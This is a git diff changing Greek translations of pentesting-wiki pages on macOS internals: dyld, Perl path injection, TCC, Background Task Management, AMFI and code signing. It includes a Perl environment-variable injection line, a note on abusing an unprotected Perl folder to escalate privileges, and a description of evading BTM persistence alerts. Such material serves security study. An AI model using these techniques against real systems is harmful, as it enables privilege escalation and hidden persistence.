> Μια ωραία ανάλυση σχετικά με το πώς να εκμεταλλευτείτε αυτήν την ευπάθεια για να εκμεταλλευτείτε τις άδειες κάμερας του telegram μπορεί να βρεθεί στο [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
||||
|
||||
## Μεγαλύτερη Κλίμακα
|
||||
|
||||
|
||||
@ -11,11 +11,11 @@
|
||||
Φυσικά, **`dyld`** δεν έχει καμία εξάρτηση (χρησιμοποιεί syscalls και αποσπάσματα libSystem).
|
||||
|
||||
> [!CAUTION]
|
||||
> Εάν αυτός ο σύνδεσμος περιέχει οποιαδήποτε ευπάθεια, καθώς εκτελείται πριν από την εκτέλεση οποιουδήποτε δυαδικού (ακόμα και πολύ προνομιούχων), θα ήταν δυνατό να **κλιμακωθούν τα προνόμια**.
|
||||
> Εάν αυτός ο σύνδεσμος περιέχει οποιαδήποτε ευπάθεια, καθώς εκτελείται πριν από την εκτέλεση οποιουδήποτε δυαδικού (ακόμα και πολύ προνομιακών), θα ήταν δυνατό να **κλιμακωθούν τα προνόμια**.
|
||||
|
||||
### Flow
|
||||
|
||||
Το Dyld θα φορτωθεί από **`dyldboostrap::start`**, το οποίο θα φορτώσει επίσης πράγματα όπως το **stack canary**. Αυτό συμβαίνει επειδή αυτή η συνάρτηση θα λάβει στο **`apple`** όρισμα της το vector και άλλες **ευαίσθητες** **τιμές**.
|
||||
Ο Dyld θα φορτωθεί από **`dyldboostrap::start`**, ο οποίος θα φορτώσει επίσης πράγματα όπως το **stack canary**. Αυτό συμβαίνει επειδή αυτή η συνάρτηση θα λάβει στο **`apple`** όρισμα της αυτό και άλλες **ευαίσθητες** **τιμές**.
|
||||
|
||||
**`dyls::_main()`** είναι το σημείο εισόδου του dyld και η πρώτη του εργασία είναι να εκτελέσει το `configureProcessRestrictions()`, το οποίο συνήθως περιορίζει τις **`DYLD_*`** μεταβλητές περιβάλλοντος που εξηγούνται σε:
|
||||
|
||||
@ -36,7 +36,7 @@
|
||||
|
||||
### Stubs
|
||||
|
||||
Όλα τα δυαδικά αρχεία στο macOS είναι δυναμικά συνδεδεμένα. Επομένως, περιέχουν κάποιες ενότητες stub που βοηθούν το δυαδικό να πηδήξει στον σωστό κώδικα σε διαφορετικές μηχανές και συμφραζόμενα. Είναι το dyld όταν εκτελείται το δυαδικό που χρειάζεται να επιλύσει αυτές τις διευθύνσεις (τουλάχιστον τις μη-τεμπέλικες).
|
||||
Όλα τα δυαδικά στο macOS είναι δυναμικά συνδεδεμένα. Επομένως, περιέχουν κάποιες ενότητες stub που βοηθούν το δυαδικό να πηδήξει στον σωστό κώδικα σε διαφορετικές μηχανές και συμφραζόμενα. Είναι ο dyld όταν εκτελείται το δυαδικό που χρειάζεται να επιλύσει αυτές τις διευθύνσεις (τουλάχιστον τις μη-τεμπέλικες).
|
||||
|
||||
Ορισμένες ενότητες stub στο δυαδικό:
|
||||
|
||||
@ -105,7 +105,7 @@ Disassembly of section __TEXT,__stubs:
|
||||
|
||||
#### Dyld opcodes
|
||||
|
||||
Τέλος, ο **`dyld_stub_binder`** χρειάζεται να βρει τη δηλωμένη συνάρτηση και να την γράψει στη σωστή διεύθυνση για να μην την αναζητήσει ξανά. Για να το κάνει αυτό, χρησιμοποιεί opcodes (μια πεπερασμένη μηχανή καταστάσεων) μέσα στο dyld.
|
||||
Τέλος, **`dyld_stub_binder`** χρειάζεται να βρει τη δηλωμένη συνάρτηση και να την γράψει στη σωστή διεύθυνση για να μην την αναζητήσει ξανά. Για να το κάνει αυτό, χρησιμοποιεί opcodes (μια πεπερασμένη μηχανή καταστάσεων) μέσα στο dyld.
|
||||
|
||||
## apple\[] argument vector
|
||||
|
||||
@ -142,7 +142,7 @@ printf("%d: %s\n", i, apple[i])
|
||||
<pre><code>lldb ./apple
|
||||
|
||||
<strong>(lldb) target create "./a"
|
||||
</strong>Η τρέχουσα εκτελέσιμη ρύθμιση είναι '/tmp/a' (arm64).
|
||||
</strong>Η τρέχουσα εκτελέσιμη μονάδα έχει οριστεί σε '/tmp/a' (arm64).
|
||||
(lldb) process launch -s
|
||||
[..]
|
||||
|
||||
@ -180,7 +180,7 @@ printf("%d: %s\n", i, apple[i])
|
||||
|
||||
## dyld_all_image_infos
|
||||
|
||||
Αυτή είναι μια δομή που εξάγεται από το dyld με πληροφορίες σχετικά με την κατάσταση του dyld που μπορεί να βρεθεί στον [**κώδικα πηγής**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) με πληροφορίες όπως η έκδοση, δείκτης στον πίνακα dyld_image_info, στον dyld_image_notifier, αν η διαδικασία είναι αποσυνδεδεμένη από την κοινή μνήμη, αν κλήθηκε ο αρχικοποιητής libSystem, δείκτης στην κεφαλίδα Mach του dyls, δείκτης στη συμβολοσειρά έκδοσης dyld...
|
||||
Αυτή είναι μια δομή που εξάγεται από το dyld με πληροφορίες σχετικά με την κατάσταση του dyld που μπορεί να βρεθεί στον [**κώδικα πηγής**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) με πληροφορίες όπως η έκδοση, δείκτης στον πίνακα dyld_image_info, στον dyld_image_notifier, αν η διαδικασία είναι αποσυνδεδεμένη από την κοινή μνήμη, αν κλήθηκε ο αρχικοποιητής libSystem, δείκτης στην κεφαλίδα Mach του dylib, δείκτης στη συμβολοσειρά έκδοσης του dyld...
|
||||
|
||||
## dyld env variables
|
||||
|
||||
|
||||
@ -28,7 +28,7 @@ PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
||||
```
|
||||
## Μέσω εξαρτήσεων
|
||||
|
||||
Είναι δυνατή η καταγραφή της σειράς του φακέλου εξαρτήσεων που εκτελείται από το Perl:
|
||||
Είναι δυνατόν να καταγραφούν οι εξαρτήσεις της σειράς φακέλων του Perl που εκτελείται:
|
||||
```bash
|
||||
perl -e 'print join("\n", @INC)'
|
||||
```
|
||||
@ -47,7 +47,7 @@ perl -e 'print join("\n", @INC)'
|
||||
Ορισμένοι από τους επιστρεφόμενους φακέλους δεν υπάρχουν καν, ωστόσο, **`/Library/Perl/5.30`** **υπάρχει**, **δεν είναι** **προστατευμένος** από **SIP** και είναι **πριν** από τους φακέλους **που προστατεύονται από SIP**. Επομένως, κάποιος θα μπορούσε να εκμεταλλευτεί αυτόν τον φάκελο για να προσθέσει εξαρτήσεις σε σενάρια εκεί, έτσι ώστε ένα σενάριο Perl υψηλής προνομιακής πρόσβασης να το φορτώσει.
|
||||
|
||||
> [!WARNING]
|
||||
> Ωστόσο, σημειώστε ότι **πρέπει να είστε root για να γράψετε σε αυτόν τον φάκελο** και σήμερα θα λάβετε αυτήν την **ειδοποίηση TCC**:
|
||||
> Ωστόσο, σημειώστε ότι **πρέπει να είστε root για να γράψετε σε αυτόν τον φάκελο** και σήμερα θα λάβετε αυτήν την **προτροπή TCC**:
|
||||
|
||||
<figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -32,7 +32,7 @@ macos-sandbox/
|
||||
|
||||
### TCC - **Transparency, Consent, and Control**
|
||||
|
||||
**TCC (Transparency, Consent, and Control)** είναι ένα πλαίσιο ασφαλείας. Είναι σχεδιασμένο να **διαχειρίζεται τις άδειες** των εφαρμογών, ρυθμίζοντας συγκεκριμένα την πρόσβασή τους σε ευαίσθητες δυνατότητες. Αυτό περιλαμβάνει στοιχεία όπως **υπηρεσίες τοποθεσίας, επαφές, φωτογραφίες, μικρόφωνο, κάμερα, προσβασιμότητα και πλήρη πρόσβαση στο δίσκο**. Το TCC διασφαλίζει ότι οι εφαρμογές μπορούν να έχουν πρόσβαση σε αυτές τις δυνατότητες μόνο μετά από ρητή συγκατάθεση του χρήστη, ενισχύοντας έτσι την ιδιωτικότητα και τον έλεγχο των προσωπικών δεδομένων.
|
||||
**TCC (Transparency, Consent, and Control)** είναι ένα πλαίσιο ασφαλείας. Είναι σχεδιασμένο να **διαχειρίζεται τις άδειες** των εφαρμογών, ρυθμίζοντας συγκεκριμένα την πρόσβασή τους σε ευαίσθητες δυνατότητες. Αυτό περιλαμβάνει στοιχεία όπως **υπηρεσίες τοποθεσίας, επαφές, φωτογραφίες, μικρόφωνο, κάμερα, προσβασιμότητα και πλήρη πρόσβαση δίσκου**. Το TCC διασφαλίζει ότι οι εφαρμογές μπορούν να έχουν πρόσβαση σε αυτές τις δυνατότητες μόνο μετά από ρητή συγκατάθεση του χρήστη, ενισχύοντας έτσι την ιδιωτικότητα και τον έλεγχο των προσωπικών δεδομένων.
|
||||
|
||||
{{#ref}}
|
||||
macos-tcc/
|
||||
@ -50,7 +50,7 @@ macos-launch-environment-constraints.md
|
||||
|
||||
Το Malware Removal Tool (MRT) είναι άλλο ένα μέρος της υποδομής ασφαλείας του macOS. Όπως υποδηλώνει το όνομα, η κύρια λειτουργία του MRT είναι να **αφαιρεί γνωστό κακόβουλο λογισμικό από μολυσμένα συστήματα**.
|
||||
|
||||
Μόλις ανιχνευθεί κακόβουλο λογισμικό σε ένα Mac (είτε από το XProtect είτε με κάποιο άλλο μέσο), το MRT μπορεί να χρησιμοποιηθεί για να **αφαιρέσει αυτόματα το κακόβουλο λογισμικό**. Το MRT λειτουργεί σιωπηλά στο παρασκήνιο και συνήθως εκτελείται κάθε φορά που το σύστημα ενημερώνεται ή όταν κατεβαίνει μια νέα ορισμός κακόβουλου λογισμικού (φαίνεται ότι οι κανόνες που έχει το MRT για την ανίχνευση κακόβουλου λογισμικού είναι μέσα στο δυαδικό αρχείο).
|
||||
Μόλις ανιχνευθεί κακόβουλο λογισμικό σε ένα Mac (είτε από το XProtect είτε με κάποιο άλλο τρόπο), το MRT μπορεί να χρησιμοποιηθεί για να **αφαιρέσει αυτόματα το κακόβουλο λογισμικό**. Το MRT λειτουργεί σιωπηλά στο παρασκήνιο και συνήθως εκτελείται κάθε φορά που το σύστημα ενημερώνεται ή όταν κατεβαίνει μια νέα ορισμός κακόβουλου λογισμικού (φαίνεται ότι οι κανόνες που έχει το MRT για την ανίχνευση κακόβουλου λογισμικού είναι μέσα στο δυαδικό αρχείο).
|
||||
|
||||
Ενώ τόσο το XProtect όσο και το MRT είναι μέρος των μέτρων ασφαλείας του macOS, εκτελούν διαφορετικές λειτουργίες:
|
||||
|
||||
@ -61,13 +61,13 @@ macos-launch-environment-constraints.md
|
||||
|
||||
## Background Tasks Management
|
||||
|
||||
**macOS** τώρα **ειδοποιεί** κάθε φορά που ένα εργαλείο χρησιμοποιεί μια γνωστή **τεχνική για τη διατήρηση της εκτέλεσης κώδικα** (όπως τα Login Items, Daemons...), έτσι ώστε ο χρήστης να γνωρίζει καλύτερα **ποιο λογισμικό διατηρείται**.
|
||||
**macOS** τώρα **ειδοποιεί** κάθε φορά που ένα εργαλείο χρησιμοποιεί μια γνωστή **τεχνική για τη διατήρηση της εκτέλεσης κώδικα** (όπως τα Login Items, Daemons...), ώστε ο χρήστης να γνωρίζει καλύτερα **ποιο λογισμικό διατηρείται**.
|
||||
|
||||
<figure><img src="../../../images/image (1183).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Αυτό λειτουργεί με έναν **daemon** που βρίσκεται στο `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd` και τον **agent** στο `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app`
|
||||
|
||||
Ο τρόπος που **`backgroundtaskmanagementd`** γνωρίζει ότι κάτι έχει εγκατασταθεί σε έναν μόνιμο φάκελο είναι μέσω της **λήψης των FSEvents** και της δημιουργίας ορισμένων **handlers** για αυτά.
|
||||
Ο τρόπος που **`backgroundtaskmanagementd`** γνωρίζει ότι κάτι είναι εγκατεστημένο σε έναν μόνιμο φάκελο είναι μέσω της **λήψης των FSEvents** και της δημιουργίας ορισμένων **handlers** για αυτά.
|
||||
|
||||
Επιπλέον, υπάρχει ένα αρχείο plist που περιέχει **γνωστές εφαρμογές** που διατηρούνται συχνά από την Apple και βρίσκεται στο: `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`
|
||||
```json
|
||||
@ -87,7 +87,7 @@ macos-launch-environment-constraints.md
|
||||
```
|
||||
### Enumeration
|
||||
|
||||
Είναι δυνατόν να **καταμετρήσετε όλα** τα ρυθμισμένα στοιχεία παρασκηνίου που εκτελούνται με το εργαλείο Apple cli:
|
||||
Είναι δυνατόν να **καταμετρήσετε όλα** τα ρυθμισμένα στοιχεία παρασκηνίου που εκτελούνται με το εργαλείο cli της Apple:
|
||||
```bash
|
||||
# The tool will always ask for the users password
|
||||
sfltool dumpbtm
|
||||
@ -101,9 +101,9 @@ xattr -rc dumpBTM # Remove quarantine attr
|
||||
```
|
||||
Αυτές οι πληροφορίες αποθηκεύονται στο **`/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm`** και το Terminal χρειάζεται FDA.
|
||||
|
||||
### Ανακατεύοντας με το BTM
|
||||
### Παρεμβαίνοντας στο BTM
|
||||
|
||||
Όταν βρεθεί μια νέα επιμονή, δημιουργείται ένα γεγονός τύπου **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`**. Έτσι, οποιοσδήποτε τρόπος για να **αποτραπεί** αυτή η **εκδήλωση** από το να σταλεί ή ο **πράκτορας να ειδοποιήσει** τον χρήστη θα βοηθήσει έναν επιτιθέμενο να _**παρακάμψει**_ το BTM.
|
||||
Όταν βρεθεί μια νέα επιμονή, δημιουργείται ένα γεγονός τύπου **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`**. Έτσι, οποιοσδήποτε τρόπος για να **αποτραπεί** αυτή η **εκδήλωση** από το να σταλεί ή ο **πράκτορας από το να ειδοποιήσει** τον χρήστη θα βοηθήσει έναν επιτιθέμενο να _**παρακάμψει**_ το BTM.
|
||||
|
||||
- **Επαναφορά της βάσης δεδομένων**: Η εκτέλεση της παρακάτω εντολής θα επαναφέρει τη βάση δεδομένων (θα πρέπει να την ξαναχτίσει από την αρχή), ωστόσο, για κάποιο λόγο, μετά την εκτέλεση αυτού, **καμία νέα επιμονή δεν θα ειδοποιηθεί μέχρι να επανεκκινήσει το σύστημα**.
|
||||
- Απαιτείται **root**.
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## AppleMobileFileIntegrity.kext και amfid
|
||||
|
||||
Επικεντρώνεται στην επιβολή της ακεραιότητας του κώδικα που εκτελείται στο σύστημα παρέχοντας τη λογική πίσω από την επαλήθευση υπογραφής κώδικα του XNU. Είναι επίσης ικανό να ελέγχει τα δικαιώματα και να χειρίζεται άλλες ευαίσθητες εργασίες όπως η επιτρεπόμενη αποσφαλμάτωσης ή η απόκτηση θυρών εργασίας.
|
||||
Επικεντρώνεται στην επιβολή της ακεραιότητας του κώδικα που εκτελείται στο σύστημα παρέχοντας τη λογική πίσω από την επαλήθευση υπογραφής κώδικα του XNU. Είναι επίσης ικανό να ελέγχει τα δικαιώματα και να χειρίζεται άλλες ευαίσθητες εργασίες όπως η επιτρεπόμενη αποσφαλμάτωσης ή η απόκτηση θυρίδων εργασίας.
|
||||
|
||||
Επιπλέον, για ορισμένες λειτουργίες, το kext προτιμά να επικοινωνεί με το daemon του χώρου χρήστη `/usr/libexec/amfid`. Αυτή η σχέση εμπιστοσύνης έχει καταχραστεί σε πολλές jailbreak.
|
||||
Επιπλέον, για ορισμένες λειτουργίες, το kext προτιμά να επικοινωνεί με τον χώρο χρήστη που εκτελείται daemon `/usr/libexec/amfid`. Αυτή η σχέση εμπιστοσύνης έχει καταχραστεί σε πολλές jailbreaks.
|
||||
|
||||
Το AMFI χρησιμοποιεί **MACF** πολιτικές και καταχωρεί τα hooks του τη στιγμή που ξεκινά. Επίσης, η αποτροπή της φόρτωσης ή της εκφόρτωσής του θα μπορούσε να προκαλέσει πανικό του πυρήνα. Ωστόσο, υπάρχουν ορισμένα επιχειρήματα εκκίνησης που επιτρέπουν την αποδυνάμωση του AMFI:
|
||||
|
||||
@ -19,25 +19,25 @@
|
||||
Αυτές είναι μερικές από τις πολιτικές MACF που καταχωρεί:
|
||||
|
||||
- **`cred_check_label_update_execve:`** Η ενημέρωση ετικέτας θα εκτελείται και θα επιστρέφει 1
|
||||
- **`cred_label_associate`**: Ενημερώνει την ετικέτα mac του AMFI
|
||||
- **`cred_label_destroy`**: Αφαιρεί την ετικέτα mac του AMFI
|
||||
- **`cred_label_init`**: Μετακινεί 0 στην ετικέτα mac του AMFI
|
||||
- **`cred_label_update_execve`:** Ελέγχει τα δικαιώματα της διαδικασίας για να δει αν πρέπει να επιτραπεί η τροποποίηση των ετικετών.
|
||||
- **`cred_label_associate`**: Ενημερώνει την υποδοχή mac ετικέτας του AMFI με ετικέτα
|
||||
- **`cred_label_destroy`**: Αφαιρεί την υποδοχή mac ετικέτας του AMFI
|
||||
- **`cred_label_init`**: Μετακινεί 0 στην υποδοχή mac ετικέτας του AMFI
|
||||
- **`cred_label_update_execve`:** Ελέγχει τα δικαιώματα της διαδικασίας για να δει αν θα πρέπει να επιτραπεί η τροποποίηση των ετικετών.
|
||||
- **`file_check_mmap`:** Ελέγχει αν το mmap αποκτά μνήμη και την ορίζει ως εκτελέσιμη. Σε αυτή την περίπτωση, ελέγχει αν απαιτείται επικύρωση βιβλιοθήκης και αν ναι, καλεί τη λειτουργία επικύρωσης βιβλιοθήκης.
|
||||
- **`file_check_library_validation`**: Καλεί τη λειτουργία επικύρωσης βιβλιοθήκης που ελέγχει μεταξύ άλλων αν μια πλατφόρμα δυαδικών αρχείων φορτώνει άλλη πλατφόρμα δυαδικών αρχείων ή αν η διαδικασία και το νέο φορτωμένο αρχείο έχουν το ίδιο TeamID. Ορισμένα δικαιώματα θα επιτρέψουν επίσης τη φόρτωση οποιασδήποτε βιβλιοθήκης.
|
||||
- **`policy_initbsd`**: Ρυθμίζει τις αξιόπιστες κλειδαριές NVRAM
|
||||
- **`policy_syscall`**: Ελέγχει τις πολιτικές DYLD όπως αν το δυαδικό αρχείο έχει απεριόριστα τμήματα, αν πρέπει να επιτρέψει μεταβλητές περιβάλλοντος... αυτό καλείται επίσης όταν μια διαδικασία ξεκινά μέσω `amfi_check_dyld_policy_self()`.
|
||||
- **`proc_check_inherit_ipc_ports`**: Ελέγχει αν όταν μια διαδικασία εκτελεί ένα νέο δυαδικό αρχείο, άλλες διαδικασίες με δικαιώματα SEND πάνω από την θύρα εργασίας της διαδικασίας θα πρέπει να τις διατηρήσουν ή όχι. Οι πλατφόρμες δυαδικών αρχείων επιτρέπονται, το δικαίωμα `get-task-allow` το επιτρέπει, τα δικαιώματα `task_for_pid-allow` επιτρέπονται και τα δυαδικά αρχεία με το ίδιο TeamID.
|
||||
- **`policy_syscall`**: Ελέγχει τις πολιτικές DYLD όπως αν το δυαδικό αρχείο έχει απεριόριστα τμήματα, αν θα πρέπει να επιτρέψει μεταβλητές περιβάλλοντος... αυτό καλείται επίσης όταν μια διαδικασία ξεκινά μέσω `amfi_check_dyld_policy_self()`.
|
||||
- **`proc_check_inherit_ipc_ports`**: Ελέγχει αν όταν μια διαδικασία εκτελεί ένα νέο δυαδικό αρχείο, άλλες διαδικασίες με δικαιώματα SEND πάνω από τη θυρίδα εργασίας της διαδικασίας θα πρέπει να τα διατηρήσουν ή όχι. Οι πλατφόρμες δυαδικών αρχείων επιτρέπονται, το δικαίωμα `get-task-allow` το επιτρέπει, τα δικαιώματα `task_for_pid-allow` επιτρέπονται και τα δυαδικά αρχεία με το ίδιο TeamID.
|
||||
- **`proc_check_expose_task`**: επιβάλλει δικαιώματα
|
||||
- **`amfi_exc_action_check_exception_send`**: Ένα μήνυμα εξαίρεσης αποστέλλεται στον αποσφαλματωτή
|
||||
- **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: Κύκλος ζωής ετικέτας κατά τη διάρκεια της διαχείρισης εξαιρέσεων (αποσφαλμάτωσης)
|
||||
- **`proc_check_get_task`**: Ελέγχει τα δικαιώματα όπως το `get-task-allow` που επιτρέπει σε άλλες διαδικασίες να αποκτούν την θύρα εργασίας και το `task_for_pid-allow`, που επιτρέπει στη διαδικασία να αποκτά τις θύρες εργασίας άλλων διαδικασιών. Αν κανένα από αυτά δεν ισχύει, καλεί το `amfid permitunrestricteddebugging` για να ελέγξει αν επιτρέπεται.
|
||||
- **`proc_check_mprotect`**: Αρνείται αν το `mprotect` καλείται με την σημαία `VM_PROT_TRUSTED` που υποδεικνύει ότι η περιοχή πρέπει να αντιμετωπίζεται σαν να έχει έγκυρη υπογραφή κώδικα.
|
||||
- **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: Κύκλος ζωής ετικέτας κατά τη διάρκεια της διαχείρισης εξαιρέσεων (αποσφαλμάτωση)
|
||||
- **`proc_check_get_task`**: Ελέγχει τα δικαιώματα όπως το `get-task-allow` που επιτρέπει σε άλλες διαδικασίες να αποκτούν τη θυρίδα εργασίας και το `task_for_pid-allow`, που επιτρέπει στη διαδικασία να αποκτά τις θυρίδες εργασίας άλλων διαδικασιών. Αν κανένα από αυτά, καλεί το `amfid permitunrestricteddebugging` για να ελέγξει αν επιτρέπεται.
|
||||
- **`proc_check_mprotect`**: Αρνείται αν το `mprotect` καλείται με τη σημαία `VM_PROT_TRUSTED` που υποδεικνύει ότι η περιοχή πρέπει να αντιμετωπίζεται σαν να έχει έγκυρη υπογραφή κώδικα.
|
||||
- **`vnode_check_exec`**: Καλείται όταν εκτελέσιμα αρχεία φορτώνονται στη μνήμη και ορίζει `cs_hard | cs_kill` που θα σκοτώσει τη διαδικασία αν οποιαδήποτε από τις σελίδες γίνει μη έγκυρη
|
||||
- **`vnode_check_getextattr`**: MacOS: Ελέγχει `com.apple.root.installed` και `isVnodeQuarantined()`
|
||||
- **`vnode_check_setextattr`**: Όπως get + com.apple.private.allow-bless και εσωτερικό ισοδύναμο δικαιώματος εγκαταστάτη
|
||||
-  **`vnode_check_signature`**: Κώδικας που καλεί το XNU για να ελέγξει την υπογραφή κώδικα χρησιμοποιώντας δικαιώματα, cache εμπιστοσύνης και `amfid`
|
||||
-  **`proc_check_run_cs_invalid`**: Παρεμβαίνει στις κλήσεις `ptrace()` (`PT_ATTACH` και `PT_TRACE_ME`). Ελέγχει για οποιαδήποτε από τα δικαιώματα `get-task-allow`, `run-invalid-allow` και `run-unsigned-code` και αν κανένα, ελέγχει αν επιτρέπεται η αποσφαλμάτωση.
|
||||
-  **`proc_check_run_cs_invalid`**: Παρεμβαίνει στις κλήσεις `ptrace()` (`PT_ATTACH` και `PT_TRACE_ME`). Ελέγχει για οποιοδήποτε από τα δικαιώματα `get-task-allow`, `run-invalid-allow` και `run-unsigned-code` και αν κανένα, ελέγχει αν η αποσφαλμάτωση επιτρέπεται.
|
||||
- **`proc_check_map_anon`**: Αν το mmap καλείται με τη σημαία **`MAP_JIT`**, το AMFI θα ελέγξει για το δικαίωμα `dynamic-codesigning`.
|
||||
|
||||
`AMFI.kext` εκθέτει επίσης μια API για άλλες επεκτάσεις πυρήνα, και είναι δυνατό να βρείτε τις εξαρτήσεις του με:
|
||||
@ -72,7 +72,7 @@ No variant specified, falling back to release
|
||||
|
||||
Είναι δυνατόν να δείτε πότε ζητείται από το `amfid` να ελέγξει ένα δυαδικό και την απάντησή του, αποσφαλματώνοντάς το και θέτοντας ένα breakpoint στο `mach_msg`.
|
||||
|
||||
Μόλις ληφθεί ένα μήνυμα μέσω της ειδικής θύρας, χρησιμοποιείται το **MIG** για να στείλει κάθε λειτουργία στη λειτουργία που καλεί. Οι κύριες λειτουργίες έχουν αναστραφεί και εξηγηθεί μέσα στο βιβλίο.
|
||||
Μόλις ληφθεί ένα μήνυμα μέσω της ειδικής θύρας, χρησιμοποιείται το **MIG** για να στείλει κάθε συνάρτηση στη συνάρτηση που καλεί. Οι κύριες συναρτήσεις έχουν αναστραφεί και εξηγηθεί μέσα στο βιβλίο.
|
||||
|
||||
## Provisioning Profiles
|
||||
|
||||
@ -80,7 +80,7 @@ No variant specified, falling back to release
|
||||
|
||||
Αφού υποβληθεί μια εφαρμογή στο Apple Store, αν εγκριθεί, υπογράφεται από την Apple και το provisioning profile δεν είναι πλέον απαραίτητο.
|
||||
|
||||
Ένα profile συνήθως χρησιμοποιεί την επέκταση `.mobileprovision` ή `.provisionprofile` και μπορεί να αποθηκευτεί με:
|
||||
Ένα profile συνήθως χρησιμοποιεί την επέκταση `.mobileprovision` ή `.provisionprofile` και μπορεί να απορριφθεί με:
|
||||
```bash
|
||||
openssl asn1parse -inform der -in /path/to/profile
|
||||
|
||||
@ -103,7 +103,7 @@ security cms -D -i /path/to/profile
|
||||
- **TeamIdentifier**: Ένας πίνακας (συνήθως ενός) αλφαριθμητικού συμβόλου/ων που χρησιμοποιούνται για την αναγνώριση του προγραμματιστή για σκοπούς αλληλεπίδρασης μεταξύ εφαρμογών
|
||||
- **TeamName**: Ένα αναγνώσιμο από άνθρωπο όνομα που χρησιμοποιείται για την αναγνώριση του προγραμματιστή
|
||||
- **TimeToLive**: Η εγκυρότητα (σε ημέρες) του πιστοποιητικού
|
||||
- **UUID**: Ένας Καθολικά Μοναδικός Αναγνωριστής για αυτό το προφίλ
|
||||
- **UUID**: Ένας Καθολικά Μοναδικός Αναγνωριστικός Κωδικός για αυτό το προφίλ
|
||||
- **Version**: Αυτή τη στιγμή ορισμένο σε 1
|
||||
|
||||
Σημειώστε ότι η είσοδος δικαιωμάτων θα περιέχει ένα περιορισμένο σύνολο δικαιωμάτων και το προφίλ παροχής θα μπορεί μόνο να δώσει αυτά τα συγκεκριμένα δικαιώματα για να αποτρέψει την παροχή ιδιωτικών δικαιωμάτων της Apple.
|
||||
|
||||
@ -75,9 +75,9 @@ security authorizationdb read com.apple.tcc.util.admin
|
||||
|
||||
Είναι ένας δαίμονας που θα λαμβάνει αιτήματα για να εξουσιοδοτήσει πελάτες να εκτελούν ευαίσθητες ενέργειες. Λειτουργεί ως υπηρεσία XPC που ορίζεται μέσα στον φάκελο `XPCServices/` και χρησιμοποιεί για να γράφει τα αρχεία καταγραφής του στο `/var/log/authd.log`.
|
||||
|
||||
Επιπλέον, χρησιμοποιώντας το εργαλείο ασφαλείας, είναι δυνατόν να δοκιμάσετε πολλές APIs του `Security.framework`. Για παράδειγμα, η `AuthorizationExecuteWithPrivileges` εκτελώντας: `security execute-with-privileges /bin/ls`
|
||||
Επιπλέον, χρησιμοποιώντας το εργαλείο ασφαλείας, είναι δυνατόν να δοκιμάσετε πολλές APIs του `Security.framework`. Για παράδειγμα, το `AuthorizationExecuteWithPrivileges` εκτελώντας: `security execute-with-privileges /bin/ls`
|
||||
|
||||
Αυτό θα δημιουργήσει και θα εκτελέσει το `/usr/libexec/security_authtrampoline /bin/ls` ως root, το οποίο θα ζητήσει άδειες σε ένα παράθυρο διαλόγου για να εκτελέσει το ls ως root:
|
||||
Αυτό θα δημιουργήσει ένα fork και θα εκτελέσει το `/usr/libexec/security_authtrampoline /bin/ls` ως root, το οποίο θα ζητήσει άδειες σε ένα παράθυρο διαλόγου για να εκτελέσει το ls ως root:
|
||||
|
||||
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -4,12 +4,12 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Τα Mach-o binaries περιέχουν μια εντολή φόρτωσης που ονομάζεται **`LC_CODE_SIGNATURE`** που υποδεικνύει την **απόσταση** και το **μέγεθος** των υπογραφών μέσα στο δυαδικό αρχείο. Στην πραγματικότητα, χρησιμοποιώντας το εργαλείο GUI MachOView, είναι δυνατόν να βρείτε στο τέλος του δυαδικού αρχείου μια ενότητα που ονομάζεται **Code Signature** με αυτές τις πληροφορίες:
|
||||
Τα Mach-o binaries περιέχουν μια εντολή φόρτωσης που ονομάζεται **`LC_CODE_SIGNATURE`** που υποδεικνύει την **offset** και το **size** των υπογραφών μέσα στο binary. Στην πραγματικότητα, χρησιμοποιώντας το εργαλείο GUI MachOView, είναι δυνατόν να βρείτε στο τέλος του binary μια ενότητα που ονομάζεται **Code Signature** με αυτές τις πληροφορίες:
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
||||
|
||||
Η μαγική κεφαλίδα της Code Signature είναι **`0xFADE0CC0`**. Στη συνέχεια, έχετε πληροφορίες όπως το μήκος και τον αριθμό των blobs του superBlob που τα περιέχει.\
|
||||
Είναι δυνατόν να βρείτε αυτές τις πληροφορίες στον [πηγαίο κώδικα εδώ](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L276):
|
||||
Είναι δυνατόν να βρείτε αυτές τις πληροφορίες στον [κώδικα πηγής εδώ](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L276):
|
||||
```c
|
||||
/*
|
||||
* Structure of an embedded-signature SuperBlob
|
||||
@ -105,8 +105,8 @@ __attribute__ ((aligned(1)));
|
||||
|
||||
## Σελίδες Υπογραφής Κώδικα
|
||||
|
||||
